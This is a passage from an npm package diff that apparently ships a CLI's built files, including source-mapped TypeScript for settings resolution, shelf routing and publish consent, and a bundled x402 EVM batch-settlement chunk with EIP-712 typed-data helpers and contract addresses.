pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,I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AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
hashTypedData
|
|
4
|
+
} from "./chunk-EL56RW2J.js";
|
|
5
|
+
import {
|
|
6
|
+
getAddress,
|
|
7
|
+
keccak256,
|
|
8
|
+
toBytes,
|
|
9
|
+
toHex
|
|
10
|
+
} from "./chunk-TTNESUPQ.js";
|
|
11
|
+
|
|
12
|
+
// node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/dist/esm/chunk-EKCH75YB.mjs
|
|
13
|
+
var EIP155_NETWORK_REGEX = /^eip155:(\d+)$/;
|
|
14
|
+
function getEvmChainId(network) {
|
|
15
|
+
if (!network.startsWith("eip155:")) {
|
|
16
|
+
throw new Error(`Unsupported network format: ${network} (expected eip155:CHAIN_ID)`);
|
|
17
|
+
}
|
|
18
|
+
const match = EIP155_NETWORK_REGEX.exec(network);
|
|
19
|
+
if (!match) {
|
|
20
|
+
throw new Error(`Invalid CAIP-2 chain ID: ${network}`);
|
|
21
|
+
}
|
|
22
|
+
const chainId = Number(match[1]);
|
|
23
|
+
if (!Number.isSafeInteger(chainId)) {
|
|
24
|
+
throw new Error(`Invalid CAIP-2 chain ID: ${network}`);
|
|
25
|
+
}
|
|
26
|
+
return chainId;
|
|
27
|
+
}
|
|
28
|
+
function getCrypto() {
|
|
29
|
+
const cryptoObj = globalThis.crypto;
|
|
30
|
+
if (!cryptoObj) {
|
|
31
|
+
throw new Error("Crypto API not available");
|
|
32
|
+
}
|
|
33
|
+
return cryptoObj;
|
|
34
|
+
}
|
|
35
|
+
function createNonce() {
|
|
36
|
+
return toHex(getCrypto().getRandomValues(new Uint8Array(32)));
|
|
37
|
+
}
|
|
38
|
+
function createPermit2Nonce() {
|
|
39
|
+
const randomBytes = getCrypto().getRandomValues(new Uint8Array(32));
|
|
40
|
+
return BigInt(toHex(randomBytes)).toString();
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/dist/esm/chunk-5XX3PMSD.mjs
|
|
44
|
+
var BATCH_SETTLEMENT_SCHEME = "batch-settlement";
|
|
45
|
+
var BATCH_SETTLEMENT_ADDRESS = "0x4020074e9dF2ce1deE5A9C1b5c3f541D02a10003";
|
|
46
|
+
var ERC3009_DEPOSIT_COLLECTOR_ADDRESS = "0x4020806089470a89826cB9fB1f4059150b550004";
|
|
47
|
+
var PERMIT2_DEPOSIT_COLLECTOR_ADDRESS = "0x4020425FAf3B746C082C2f942b4E5159887B0005";
|
|
48
|
+
var MIN_WITHDRAW_DELAY = 900;
|
|
49
|
+
var BATCH_SETTLEMENT_DOMAIN = {
|
|
50
|
+
name: "x402 Batch Settlement",
|
|
51
|
+
version: "1"
|
|
52
|
+
};
|
|
53
|
+
var CHANNEL_CONFIG_TYPEHASH = keccak256(
|
|
54
|
+
toBytes(
|
|
55
|
+
"ChannelConfig(address payer,address payerAuthorizer,address receiver,address receiverAuthorizer,address token,uint40 withdrawDelay,bytes32 salt)"
|
|
56
|
+
)
|
|
57
|
+
);
|
|
58
|
+
var channelConfigTypes = {
|
|
59
|
+
ChannelConfig: [
|
|
60
|
+
{ name: "payer", type: "address" },
|
|
61
|
+
{ name: "payerAuthorizer", type: "address" },
|
|
62
|
+
{ name: "receiver", type: "address" },
|
|
63
|
+
{ name: "receiverAuthorizer", type: "address" },
|
|
64
|
+
{ name: "token", type: "address" },
|
|
65
|
+
{ name: "withdrawDelay", type: "uint40" },
|
|
66
|
+
{ name: "salt", type: "bytes32" }
|
|
67
|
+
]
|
|
68
|
+
};
|
|
69
|
+
var voucherTypes = {
|
|
70
|
+
Voucher: [
|
|
71
|
+
{ name: "channelId", type: "bytes32" },
|
|
72
|
+
{ name: "maxClaimableAmount", type: "uint128" }
|
|
73
|
+
]
|
|
74
|
+
};
|
|
75
|
+
var receiveAuthorizationTypes = {
|
|
76
|
+
ReceiveWithAuthorization: [
|
|
77
|
+
{ name: "from", type: "address" },
|
|
78
|
+
{ name: "to", type: "address" },
|
|
79
|
+
{ name: "value", type: "uint256" },
|
|
80
|
+
{ name: "validAfter", type: "uint256" },
|
|
81
|
+
{ name: "validBefore", type: "uint256" },
|
|
82
|
+
{ name: "nonce", type: "bytes32" }
|
|
83
|
+
]
|
|
84
|
+
};
|
|
85
|
+
var batchPermit2WitnessTypes = {
|
|
86
|
+
PermitWitnessTransferFrom: [
|
|
87
|
+
{ name: "permitted", type: "TokenPermissions" },
|
|
88
|
+
{ name: "spender", type: "address" },
|
|
89
|
+
{ name: "nonce", type: "uint256" },
|
|
90
|
+
{ name: "deadline", type: "uint256" },
|
|
91
|
+
{ name: "witness", type: "DepositWitness" }
|
|
92
|
+
],
|
|
93
|
+
TokenPermissions: [
|
|
94
|
+
{ name: "token", type: "address" },
|
|
95
|
+
{ name: "amount", type: "uint256" }
|
|
96
|
+
],
|
|
97
|
+
DepositWitness: [{ name: "channelId", type: "bytes32" }]
|
|
98
|
+
};
|
|
99
|
+
var ErrCumulativeAmountBelowClaimed = "invalid_batch_settlement_evm_cumulative_below_claimed";
|
|
100
|
+
var ErrInvalidChannelId = "invalid_batch_settlement_evm_channel_id_invalid";
|
|
101
|
+
var ErrCumulativeAmountMismatch = "invalid_batch_settlement_evm_cumulative_amount_mismatch";
|
|
102
|
+
var ErrRefundNoBalance = "invalid_batch_settlement_evm_refund_no_balance";
|
|
103
|
+
var ErrRefundAmountInvalid = "invalid_batch_settlement_evm_refund_amount_invalid";
|
|
104
|
+
var CHANNEL_ID_RE = /^0x[0-9a-fA-F]{64}$/;
|
|
105
|
+
function isCanonicalChannelId(value) {
|
|
106
|
+
return typeof value === "string" && CHANNEL_ID_RE.test(value);
|
|
107
|
+
}
|
|
108
|
+
function normalizeChannelId(channelId) {
|
|
109
|
+
if (!isCanonicalChannelId(channelId)) {
|
|
110
|
+
throw new Error(ErrInvalidChannelId);
|
|
111
|
+
}
|
|
112
|
+
return channelId.toLowerCase();
|
|
113
|
+
}
|
|
114
|
+
function computeChannelId(config, networkOrChainId) {
|
|
115
|
+
const chainId = typeof networkOrChainId === "number" ? networkOrChainId : getEvmChainId(networkOrChainId);
|
|
116
|
+
return hashTypedData({
|
|
117
|
+
domain: getBatchSettlementEip712Domain(chainId),
|
|
118
|
+
types: channelConfigTypes,
|
|
119
|
+
primaryType: "ChannelConfig",
|
|
120
|
+
message: {
|
|
121
|
+
payer: config.payer,
|
|
122
|
+
payerAuthorizer: config.payerAuthorizer,
|
|
123
|
+
receiver: config.receiver,
|
|
124
|
+
receiverAuthorizer: config.receiverAuthorizer,
|
|
125
|
+
token: config.token,
|
|
126
|
+
withdrawDelay: config.withdrawDelay,
|
|
127
|
+
salt: config.salt
|
|
128
|
+
}
|
|
129
|
+
});
|
|
130
|
+
}
|
|
131
|
+
function getBatchSettlementEip712Domain(chainId) {
|
|
132
|
+
return {
|
|
133
|
+
...BATCH_SETTLEMENT_DOMAIN,
|
|
134
|
+
chainId,
|
|
135
|
+
verifyingContract: getAddress(BATCH_SETTLEMENT_ADDRESS)
|
|
136
|
+
};
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
export {
|
|
140
|
+
getEvmChainId,
|
|
141
|
+
createNonce,
|
|
142
|
+
createPermit2Nonce,
|
|
143
|
+
BATCH_SETTLEMENT_SCHEME,
|
|
144
|
+
BATCH_SETTLEMENT_ADDRESS,
|
|
145
|
+
ERC3009_DEPOSIT_COLLECTOR_ADDRESS,
|
|
146
|
+
PERMIT2_DEPOSIT_COLLECTOR_ADDRESS,
|
|
147
|
+
MIN_WITHDRAW_DELAY,
|
|
148
|
+
voucherTypes,
|
|
149
|
+
receiveAuthorizationTypes,
|
|
150
|
+
batchPermit2WitnessTypes,
|
|
151
|
+
ErrCumulativeAmountBelowClaimed,
|
|
152
|
+
ErrCumulativeAmountMismatch,
|
|
153
|
+
ErrRefundNoBalance,
|
|
154
|
+
ErrRefundAmountInvalid,
|
|
155
|
+
normalizeChannelId,
|
|
156
|
+
computeChannelId,
|
|
157
|
+
getBatchSettlementEip712Domain
|
|
158
|
+
};
|
|
159
|
+
//# sourceMappingURL=chunk-LFZJM56J.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/src/utils.ts","../node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/src/batch-settlement/constants.ts","../node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/src/batch-settlement/errors.ts","../node_modules/.pnpm/@x402+evm@2.28.0_typescript@6.0.3/node_modules/@x402/evm/src/batch-settlement/utils.ts"],"sourcesContent":["import type { Network, SettleResponse } from \"@x402/core/types\";\nimport { isHash, toHex } from \"viem\";\n\n/** CAIP-2 `eip155` reference: a bare decimal chain ID, matching the Go and Python SDKs. */\nconst EIP155_NETWORK_REGEX = /^eip155:(\\d+)$/;\n\n/**\n * Extract chain ID from a CAIP-2 network identifier (eip155:CHAIN_ID).\n *\n * @param network - The network identifier in CAIP-2 format (e.g., \"eip155:8453\")\n * @returns The numeric chain ID\n * @throws Error if the network format is invalid\n */\nexport function getEvmChainId(network: string): number {\n if (!network.startsWith(\"eip155:\")) {\n throw new Error(`Unsupported network format: ${network} (expected eip155:CHAIN_ID)`);\n }\n\n const match = EIP155_NETWORK_REGEX.exec(network);\n if (!match) {\n throw new Error(`Invalid CAIP-2 chain ID: ${network}`);\n }\n\n const chainId = Number(match[1]);\n if (!Number.isSafeInteger(chainId)) {\n throw new Error(`Invalid CAIP-2 chain ID: ${network}`);\n }\n\n return chainId;\n}\n\n/**\n * Get the crypto object from the global scope.\n *\n * @returns The crypto object\n * @throws Error if crypto API is not available\n */\nfunction getCrypto(): Crypto {\n const cryptoObj = globalThis.crypto as Crypto | undefined;\n if (!cryptoObj) {\n throw new Error(\"Crypto API not available\");\n }\n return cryptoObj;\n}\n\n/**\n * Create a random 32-byte nonce for EIP-3009 authorization.\n *\n * @returns A hex-encoded 32-byte nonce\n */\nexport function createNonce(): 